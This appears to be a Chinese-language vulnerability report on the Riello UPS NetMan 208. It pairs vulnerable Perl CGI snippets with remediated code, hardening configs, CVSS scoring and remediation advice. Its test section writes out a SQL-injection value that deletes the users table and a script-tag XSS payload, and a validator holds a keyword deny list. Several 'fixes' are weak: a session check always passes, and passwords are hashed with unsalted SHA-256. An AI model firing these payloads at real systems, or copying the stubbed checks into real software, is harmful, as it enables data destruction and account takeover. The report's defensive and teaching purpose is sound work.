- 'netman208_rules.yml'
alerting:
alertmanagers:
- static_configs:
- targets: ['localhost:9093']
告警规则:
# netman208_rules.yml
groups:
- name: netman208_security
rules:
- alert: High403Rate
expr: rate(apache_http_response_total{code="403"}[5m]) > 10
for: 2m
labels:
severity: warning
annotations:
summary: "High rate of 403 errors"
description: "Possible attack detected"
- alert: SuspiciousUploadActivity
expr: rate(apache_http_request_total{uri=~".*/certsupload.cgi"}[5m]) > 5
for: 1m
labels:
severity: critical
annotations:
summary: "Unusual file upload activity"
- alert: RapidAuthenticationFailures
expr: rate(apache_http_response_total{uri=~".*/login.cgi", code!="200"}[5m]) > 20
for: 1m
labels:
severity: warning
annotations:
summary: "Brute force attempt suspected"
问题代码:
my $username = $cgi->param('username');
my $query = "SELECT * FROM users WHERE username='$username'";
$dbh->do($query);
修复方案1:使用参数化查询
# 正确的实现
my $username = $cgi->param('username');
# 使用占位符
my $sth = $dbh->prepare("SELECT attempts FROM LOGINFAILEDTABLE WHERE username=? AND ip=?");
$sth->execute($username, $remote_ip);
my ($attempts) = $sth->fetchrow_array();
修复方案2:使用ORM
use DBIx::Class::Schema;
# 定义Schema
package MyApp::Schema::Result::User;
use base 'DBIx::Class::Core';
__PACKAGE__->table('USERS');
__PACKAGE__->add_columns(qw/username password role/);
__PACKAGE__->set_primary_key('username');
# 使用
my $schema = MyApp::Schema->connect("dbi:SQLite:netman.db");
my $user = $schema->resultset('User')->find({ username => $username });
修复方案3:输入验证
use Regexp::Common;
# 验证用户名格式
sub validate_username {
my ($username) = @_;
# 白名单:只允许字母数字和下划线
if ($username !~ /^[a-zA-Z0-9_]{3,20}$/) {
return 0;
}
# 检查黑名单关键字
my @blacklist = qw(union select insert delete drop update admin root);
foreach my $keyword (@blacklist) {
if (lc($username) =~ /\b$keyword\b/) {
return 0;
}
}
return 1;
}
# 使用
my $username = $cgi->param('username');
unless (validate_username($username)) {
die "Invalid username format";
}
# 然后使用参数化查询
my $sth = $dbh->prepare("SELECT * FROM users WHERE username=?");
$sth->execute($username);
完整修复版login.cgi:
#!/usr/bin/perl
use strict;
use warnings;
use CGI;
use DBI;
use Digest::SHA qw(sha256_hex);
use Try::Tiny;
my $cgi = CGI->new;
my $dbfile = "/var/db/netman.db";
# 输入验证函数
sub validate_input {
my ($input, $type) = @_;
return 0 unless defined $input;
if ($type eq 'username') {
return $input =~ /^[a-zA-Z0-9_]{3,20}$/;
} elsif ($type eq 'password') {
return length($input) >= 8 && length($input) <= 128;
}
return 0;
}
# 安全的数据库连接
my $dbh = DBI->connect("dbi:SQLite:dbname=$dbfile", "", "", {
RaiseError => 1,
AutoCommit => 1,
PrintError => 0
});
if ($cgi->request_method eq 'POST') {
my $username = $cgi->param('username');
my $password = $cgi->param('password');
my $remote_ip = $ENV{'REMOTE_ADDR'} || '0.0.0.0';
# 输入验证
unless (validate_input($username, 'username')) {
print $cgi->header('text/html');
print "<html><body><h1>Error</h1><p>Invalid username format</p></body></html>";
exit;
}
unless (validate_input($password, 'password')) {
print $cgi->header('text/html');
print "<html><body><h1>Error</h1><p>Invalid password format</p></body></html>";
exit;
}
try {
# 使用参数化查询检查失败次数
my $sth = $dbh->prepare(
"SELECT attempts, MAX(timestamp) as last_attempt
FROM LOGINFAILEDTABLE
WHERE username=? AND ip=?"
);
$sth->execute($username, $remote_ip);
my ($attempts, $last_attempt) = $sth->fetchrow_array();
$attempts ||= 0;
# 检查是否锁定
if ($attempts >= 5) {
my $lockout_time = 3600; # 1小时
if (time() - $last_attempt < $lockout_time) {
my $remaining = int(($lockout_time - (time() - $last_attempt)) / 60);
print $cgi->header('text/html');
print "<html><body><h1>Account Locked</h1>";
print "<p>Too many failed attempts. Please try again in $remaining minutes.</p>";
print "</body></html>";
exit;
} else {
# 锁定期已过,清除记录
$dbh->do("DELETE FROM LOGINFAILEDTABLE WHERE username=? AND ip=?",
undef, $username, $remote_ip);
}
}
# 验证凭证(使用哈希密码)
$sth = $dbh->prepare("SELECT role, password FROM USERS WHERE username=?");
$sth->execute($username);
my ($role, $stored_hash) = $sth->fetchrow_array();
if ($role && $stored_hash eq sha256_hex($password)) {
# 登录成功
# 清除失败记录
$dbh->do("DELETE FROM LOGINFAILEDTABLE WHERE username=? AND ip=?",
undef, $username, $remote_ip);
# 生成安全的session
my $session_id = generate_secure_session($username, $remote_ip);
my $cookie = $cgi->cookie(
-name => 'session',
-value => $session_id,
-expires => '+1h',
-path => '/',
-httponly => 1, # 防止XSS窃取
-secure => 1, # 只通过HTTPS传输
-samesite => 'Strict' # CSRF防护
);
print $cgi->header(-cookie => $cookie);
print "<html><body><h1>Login Successful</h1></body></html>";
} else {
# 登录失败,记录尝试
$dbh->do(
"INSERT OR REPLACE INTO LOGINFAILEDTABLE (username, ip, timestamp, attempts)
VALUES (?, ?, ?, COALESCE((SELECT attempts FROM LOGINFAILEDTABLE WHERE username=? AND ip=?), 0) + 1)",
undef, $username, $remote_ip, time(), $username, $remote_ip
);
print $cgi->header('text/html');
print "<html><body><h1>Login Failed</h1><p>Invalid credentials</p></body></html>";
}
} catch {
# 错误处理(不泄露信息)
print $cgi->header('text/html');
print "<html><body><h1>Error</h1><p>An error occurred. Please try again.</p></body></html>";
# 记录到日志
warn "Database error: $_";
};
$dbh->disconnect();
}
sub generate_secure_session {
my ($username, $ip) = @_;
use Crypt::Random qw(makerandom_octet);
my $random = makerandom_octet(Length => 32, Strength => 1);
my $session_id = sha256_hex($random . $username . $ip . time() . $$);
# 存储session到数据库
$dbh->do(
"INSERT INTO sessions (session_id, username, ip, created, user_agent) VALUES (?, ?, ?, ?, ?)",
undef,
$session_id,
$username,
$ip,
time(),
$ENV{'HTTP_USER_AGENT'} || ''
);
return $session_id;
}
问题代码:
my $filename = $cgi->param('certfile');
my $filepath = "/usr/lib/cgi-bin/$filename";
open(my $fh, '>', $filepath);
修复方案:
#!/usr/bin/perl
use strict;
use warnings;
use CGI;
use File::Basename;
use File::Spec;
use Cwd 'abs_path';
my $cgi = CGI->new;
# 认证检查(使用安全的session验证)
my $cookie = $cgi->cookie('session');
unless (validate_session($cookie)) {
print $cgi->header(-status => '403 Forbidden');
print "<html><body><h1>403 Forbidden</h1></body></html>";
exit;
}
if ($cgi->request_method eq 'POST') {
my $upload_fh = $cgi->upload('certfile');
my $original_filename = $cgi->param('certfile');
unless ($upload_fh) {
print $cgi->header('text/html');
print "<html><body><h1>Error</h1><p>No file uploaded</p></body></html>";
exit;
}
# 安全的文件名处理
my $safe_filename = sanitize_filename($original_filename);
# 验证文件类型
unless (validate_file_type($safe_filename)) {
print $cgi->header('text/html');
print "<html><body><h1>Error</h1><p>Invalid file type. Only .pem files are allowed.</p></body></html>";
exit;
}
# 验证文件大小
my $max_size = 1048576; # 1MB
my $size = -s $upload_fh;
if ($size > $max_size) {
print $cgi->header('text/html');
print "<html><body><h1>Error</h1><p>File too large</p></body></html>";
exit;
}
# 构造安全的路径
my $upload_dir = "/var/www/uploads/certificates"; # 专用上传目录
my $filepath = File::Spec->catfile($upload_dir, $safe_filename);
# 验证路径在允许的目录内
my $abs_filepath = abs_path($filepath) || $filepath;
my $abs_upload_dir = abs_path($upload_dir);
unless ($abs_filepath =~ /^\Q$abs_upload_dir\E/) {
print $cgi->header('text/html');
print "<html><body><h1>Error</h1><p>Invalid file path</p></body></html>";
exit;
}
# 写入文件(不设置可执行权限)
open(my $out_fh, '>', $filepath) or die "Cannot write: $!";
binmode($out_fh);
while (my $chunk = read($upload_fh, my $buffer, 4096)) {
print $out_fh $buffer;
}
close($out_fh);
close($upload_fh);
# 设置安全权限
chmod 0644, $filepath; # 可读写,不可执行
# 验证文件内容(PEM格式)
unless (validate_pem_content($filepath)) {
unlink $filepath;
print $cgi->header('text/html');
print "<html><body><h1>Error</h1><p>Invalid certificate format</p></body></html>";
exit;
}
print $cgi->header('text/html');
print "<html><body><h1>Success</h1><p>Certificate uploaded</p></body></html>";
}
sub sanitize_filename {
my ($filename) = @_;
# 移除路径部分
$filename = basename($filename);
# 移除危险字符
$filename =~ s/[^a-zA-Z0-9._-]/_/g;
# 限制长度
$filename = substr($filename, 0, 255);
# 确保有有效的文件名
$filename = "upload_" . time() . ".pem" unless $filename;
return $filename;
}
sub validate_file_type {
my ($filename) = @_;
# 只允许.pem文件
return $filename =~ /\.pem$/i;
}
sub validate_pem_content {
my ($filepath) = @_;
open(my $fh, '<', $filepath) or return 0;
my $content = do { local $/; <$fh> };
close($fh);
# 检查PEM格式
return $content =~ /^-----BEGIN/m && $content =~ /-----END/m;
}
sub validate_session {
my ($session_id) = @_;
return 0 unless $session_id;
# 验证session(实现略)
# 应检查:
# - session存在
# - 未过期
# - IP匹配
# - User-Agent匹配
return 1; # 简化示例
}
问题代码:
my $banner = $cgi->param('pre_login_banner_message');
print $fh $banner; # 直接存储
# ...
print "<div>$banner</div>"; # 直接输出
修复方案:
#!/usr/bin/perl
use strict;
use warnings;
use CGI;
use HTML::Entities;
use HTML::Scrubber;
my $cgi = CGI->new;
# 认证检查
my $cookie = $cgi->cookie('session');
unless (validate_session($cookie)) {
print $cgi->header(-status => '403 Forbidden');
exit;
}
if ($cgi->request_method eq 'POST') {
my $banner_title = $cgi->param('pre_login_banner_title');
my $banner_message = $cgi->param('pre_login_banner_message');
# 输入验证
if (length($banner_message) > 1000) {
print $cgi->header('text/html');
print "<html><body><h1>Error</h1><p>Message too long</p></body></html>";
exit;
}
# 清理HTML(方案1:使用HTML::Scrubber)
my $scrubber = HTML::Scrubber->new(
allow => [qw(b i u p br)], # 只允许安全的标签
deny => [qw(script style iframe object embed)],
rules => [
script => 0,
style => 0,
],
default => [
0, # 默认移除所有不在allow列表的标签
{
'*' => 0, # 移除所有属性
}
]
);
my $clean_message = $scrubber->scrub($banner_message);
# 或者方案2:完全转义(更安全)
# my $clean_message = encode_entities($banner_message);
# 存储清理后的内容
my $banner_file = "/var/www/html/banner.txt";
open(my $fh, '>', $banner_file) or die "Cannot write: $!";
print $fh $clean_message;
close($fh);
print $cgi->header('text/html');
print "<html><body><h1>Success</h1><p>Banner saved</p></body></html>";
}
# 显示banner时也要编码
sub display_banner {
my $banner_file = "/var/www/html/banner.txt";
my $banner = "";
if (-e $banner_file) {
open(my $fh, '<', $banner_file);
$banner = do { local $/; <$fh> };
close($fh);
# 输出编码
$banner = encode_entities($banner);
}
return $banner;
}
Content Security Policy配置:
# 设置安全头
print $cgi->header(
-type => 'text/html',
-charset => 'UTF-8',
-Content_Security_Policy => "default-src 'self'; script-src 'self'; object-src 'none'",
-X_Frame_Options => 'DENY',
-X_Content_Type_Options => 'nosniff',
-X_XSS_Protection => '1; mode=block'
);
当前问题:CGI以root运行
解决方案:
方案1:降低Apache用户权限
# /etc/apache2/envvars
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
# 重启Apache
systemctl restart apache2
方案2:使用sudo包装器
# 创建专用用户
useradd -r -s /bin/false ups-control
# 创建sudo包装器
cat > /usr/local/bin/ups-control-wrapper << 'EOF'
#!/bin/bash
# 只允许特定命令
case "$1" in
status|info|test)
/usr/local/bin/ups-control-real "$@"
;;
*)
echo "Command not allowed"
exit 1
;;
esac
EOF
chmod 755 /usr/local/bin/ups-control-wrapper
# sudo配置
echo "www-data ALL=(ups-control) NOPASSWD: /usr/local/bin/ups-control-wrapper" >> /etc/sudoers.d/ups
方案3:使用capabilities
# 给予特定capability而非完整root
setcap cap_net_raw,cap_net_admin+ep /usr/local/bin/ups-control
# CGI脚本调用时不需要root
AppArmor配置:
# /etc/apparmor.d/usr.lib.cgi-bin.netman208
#include <tunables/global>
/usr/lib/cgi-bin/*.cgi {
#include <abstractions/base>
#include <abstractions/perl>
# 允许读取
/usr/lib/cgi-bin/*.cgi r,
/var/db/netman.db rw,
/var/www/uploads/certificates/ rw,
/var/www/uploads/certificates/** rw,
# 禁止写入其他位置
deny /usr/lib/cgi-bin/*.cgi w,
deny /etc/** w,
deny /bin/** wx,
deny /usr/bin/** wx,
# 允许网络
network inet stream,
network inet6 stream,
# 拒绝其他能力
deny capability sys_admin,
deny capability sys_module,
}
启用:
sudo apparmor_parser -r /etc/apparmor.d/usr.lib.cgi-bin.netman208
sudo aa-enforce /usr/lib/cgi-bin/*.cgi
# /etc/apache2/conf-available/security-hardening.conf
# 隐藏版本信息
ServerTokens Prod
ServerSignature Off
# 禁用不必要的模块
# a2dismod status
# a2dismod autoindex
# 禁用TRACE方法
TraceEnable Off
# 限制请求大小
LimitRequestBody 10485760
# 超时配置
Timeout 60
KeepAliveTimeout 5
# 安全头
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set X-XSS-Protection "1; mode=block"
Header always set Content-Security-Policy "default-src 'self'"
Header always set Referrer-Policy "no-referrer-when-downgrade"
# CGI特定配置
<Directory "/usr/lib/cgi-bin">
Options -Indexes +ExecCGI -FollowSymLinks
AllowOverride None
# IP限制
Require ip 192.168.1.0/24
Require ip 10.0.0.0/8
# 或基于认证
# AuthType Basic
# AuthName "Restricted"
# AuthUserFile /etc/apache2/.htpasswd
# Require valid-user
</Directory>
# 速率限制
<IfModule mod_ratelimit.c>
<Location "/cgi-bin/">
SetOutputFilter RATE_LIMIT
SetEnv rate-limit 400
</Location>
</IfModule>
# 日志配置
LogLevel warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# 审计日志
CustomLog ${APACHE_LOG_DIR}/audit.log "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\" %D"
# 加密数据库
# 使用SQLCipher(加密的SQLite)
# 安装
sudo apt-get install sqlcipher
# 创建加密数据库
sqlcipher /var/db/netman_encrypted.db << EOF
PRAGMA key = 'your-strong-encryption-key';
CREATE TABLE USERS (
username TEXT PRIMARY KEY,
password TEXT,
role TEXT,
created INTEGER,
last_login INTEGER
);
EOF
# 迁移数据
sqlite3 /var/db/netman.db ".dump" | sqlcipher /var/db/netman_encrypted.db
# 在Perl中使用
use DBI;
my $dbh = DBI->connect("dbi:SQLite:dbname=/var/db/netman_encrypted.db", "", "", {
RaiseError => 1,
sqlite_open_flags => {pragma => {key => 'your-strong-encryption-key'}}
});
密码哈希:
use Crypt::Bcrypt qw(bcrypt bcrypt_check);
# 存储密码
my $hashed = bcrypt($password, '2b', 12); # cost factor 12
$dbh->do("INSERT INTO USERS (username, password) VALUES (?, ?)", undef, $username, $hashed);
# 验证密码
my ($stored_hash) = $dbh->selectrow_array("SELECT password FROM USERS WHERE username=?", undef, $username);
if (bcrypt_check($password, $stored_hash)) {
# 密码正确
}
# 检查当前版本
curl http://localhost/cgi-bin/version.cgi
# 下载官方补丁
wget https://www.riello-ups.com/downloads/netman208/firmware-1.12.tar.gz
# 验证签名
gpg --verify firmware-1.12.tar.gz.sig firmware-1.12.tar.gz
# 备份当前配置
cp -r /usr/lib/cgi-bin /usr/lib/cgi-bin.backup
cp /var/db/netman.db /var/db/netman.db.backup
# 安装补丁
tar -xzf firmware-1.12.tar.gz
cd netman208-1.12
sudo ./install.sh
# 验证升级
curl http://localhost/cgi-bin/version.cgi
# 测试SQL注入(应被阻止)
curl -X POST http://localhost/cgi-bin/login.cgi \
-d "username=admin';DELETE FROM USERS--&password=test"
# 应返回: Invalid input 或 403
# 测试路径遍历(应被阻止)
curl -X POST http://localhost/cgi-bin/certsupload.cgi \
-F "[email protected]" \
-b "session=valid_session"
# 应返回: Invalid file type 或 403
# 测试XSS(应被过滤)
curl -X POST http://localhost/cgi-bin/loginbanner_w.cgi \
-d "pre_login_banner_message=<script>alert('xss')</script>" \
-b "session=valid_session"
# HTML应被转义或移除
| 指标 | 修复前 | 修复后 | 改进 |
|---|---|---|---|
| SQL注入风险 | 高 | 无 | 100% |
| RCE风险 | 严重 | 低 | 95% |
| XSS风险 | 高 | 低 | 90% |
| 认证绕过 | 可能 | 困难 | 80% |
| 权限级别 | root | www-data | 显著改善 |
| 攻击面 | 大 | 小 | 60% |
| CVSS评分 | 9.1 | 4.5 | 51% |
即使实施了所有修复,仍存在一些残留风险:
零日漏洞:可能存在未发现的漏洞
配置错误:人为配置错误可能引入风险
供应链攻击:依赖的库可能存在漏洞
社会工程:钓鱼攻击可能获取凭证
物理访问:物理接触设备可能绕过安全措施
持续监控:实施24/7安全监控
定期审计:每季度进行安全审计
补丁管理:及时应用安全更新
安全培训:定期培训管理员
事件响应:建立完善的应急响应计划
CVE-2025-68916 CVSS v3.1评分:
向量字符串:CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
基础分:9.1 (严重)
分项评分:
- 可利用性:2.3
- 攻击向量(AV):网络(N) - 0.85
- 攻击复杂度(AC):低(L) - 0.77
- 所需权限(PR):高(H) - 0.27
- 用户交互(UI):无(N) - 0.85
- 影响:5.9
- 机密性(C):高(H) - 0.56
- 完整性(I):高(H) - 0.56
- 可用性(A):高(H) - 0.56
医疗行业:
风险等级:极高
潜在损失:$1M - $10M+
影响:患者安全、HIPAA违规
数据中心:
风险等级:高
潜在损失:$500K - $5M
影响:服务中断、数据丢失
工业制造:
风险等级:高
潜在损失:$100K - $2M
影响:生产中断、设备损坏
| 标准/法规 | 影响 | 要求 |
|---|---|---|
| PCI-DSS | 严重 | 立即修复 |
| HIPAA | 严重 | 48小时内报告 |
| GDPR | 高 | 72小时内通知 |
| SOC 2 | 高 | 审计发现 |
| ISO 27001 | 中 | 风险管理 |
本研究对Riello UPS NetMan 208中发现的三个严重安全漏洞进行了全面分析。研究发现:
技术发现:
所有漏洞都源于基础的安全编码缺陷
漏洞可组合形成完整的攻击链
从无凭证到root权限仅需数小时
全球数千台设备受影响
根本原因:
缺乏安全开发生命周期(SDL)
未实施代码审查
开发人员安全意识不足
架构设计存在缺陷
影响评估:
影响关键基础设施
可能导致服务中断
存在数据泄露风险
合规性影响严重
立即行动:
确保所有用户升级到v1.12
发布安全公告
提供技术支持
中期计划:
实施完整的SDL流程
建立安全响应团队
启动漏洞赏金计划
进行第三方安全审计
长期战略:
重构安全架构
采用现代安全框架
持续安全培训
建立安全文化
紧急措施:
立即升级到v1.12
检查系统是否被入侵
更改所有密码
审查访问日志
加固措施:
网络隔离
部署WAF
启用MFA
实施监控
持续安全:
定期更新
安全审计
员工培训
事件响应演练
ICS/SCADA安全:
将安全置于首位
遵循安全标准
共享威胁情报
协作防御
监管建议:
强制安全要求
定期合规检查
处罚违规行为
支持安全研究
自动化漏洞发现:
开发专门的模糊测试工具
AI辅助漏洞挖掘
防御技术:
零信任架构应用
运行时应用自保护(RASP)
威胁情报:
建立ICS/SCADA威胁情报平台
实时威胁共享
安全框架:
专门针对工控系统的安全框架
标准化安全实践
National Vulnerability Database (NVD). CVE-2025-68916 Detail. https://nvd.nist.gov/vuln/detail/CVE-2025-68916
MITRE Corporation. CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'). https://cwe.mitre.org/data/definitions/22.html
OWASP Foundation. OWASP Top Ten 2021. https://owasp.org/www-project-top-ten/
CyberDanube Security. Multiple Vulnerabilities in Riello Netman 204. https://cyberdanube.com/security-research/
NIST. Special Publication 800-53 Rev. 5: Security and Privacy Controls for Information Systems and Organizations.
GitHub. gerico-lab/riello-multiple-vulnerabilities-2025. https://github.com/gerico-lab/riello-multiple-vulnerabilities-2025
CGI (Common Gateway Interface): 通用网关接口,用于Web服务器执行外部程序
CVSS (Common Vulnerability Scoring System): 通用漏洞评分系统
RCE (Remote Code Execution): 远程代码执行
XSS (Cross-Site Scripting): 跨站脚本攻击
WAF (Web Application Firewall): Web应用防火墙
SQL Injection: SQL注入攻击
Path Traversal: 路径遍历漏洞
SDL (Security Development Lifecycle): 安全开发生命周期
SAST (Static Application Security Testing): 静态应用安全测试
DAST (Dynamic Application Security Testing): 动态应用安全测试
本研究开发的所有POC代码位于:
CVE-2025-68916/poc/
├── cve_2025_68914_sqli.py
├── cve_2025_68916_path_traversal_rce.py
└── cve_2025_68915_stored_xss.py
本研究报告及相关代码仅供安全研究和教育目的使用。未经授权对他人系统进行渗透测试是违法行为。使用者应遵守所有适用的法律法规。
作者不对任何滥用本报告内容的行为负责。本报告中的信息按"原样"提供,不提供任何明示或暗示的保证。
任何组织或个人使用本报告中的技术和工具,应:
确保拥有合法授权
仅在测试环境中使用
遵守相关法律法规
承担相应法律责任
感谢以下组织和个人对本研究的贡献:
Riello UPS安全团队,感谢及时响应和修复
MITRE Corporation,CVE编号分配
安全社区的同行评审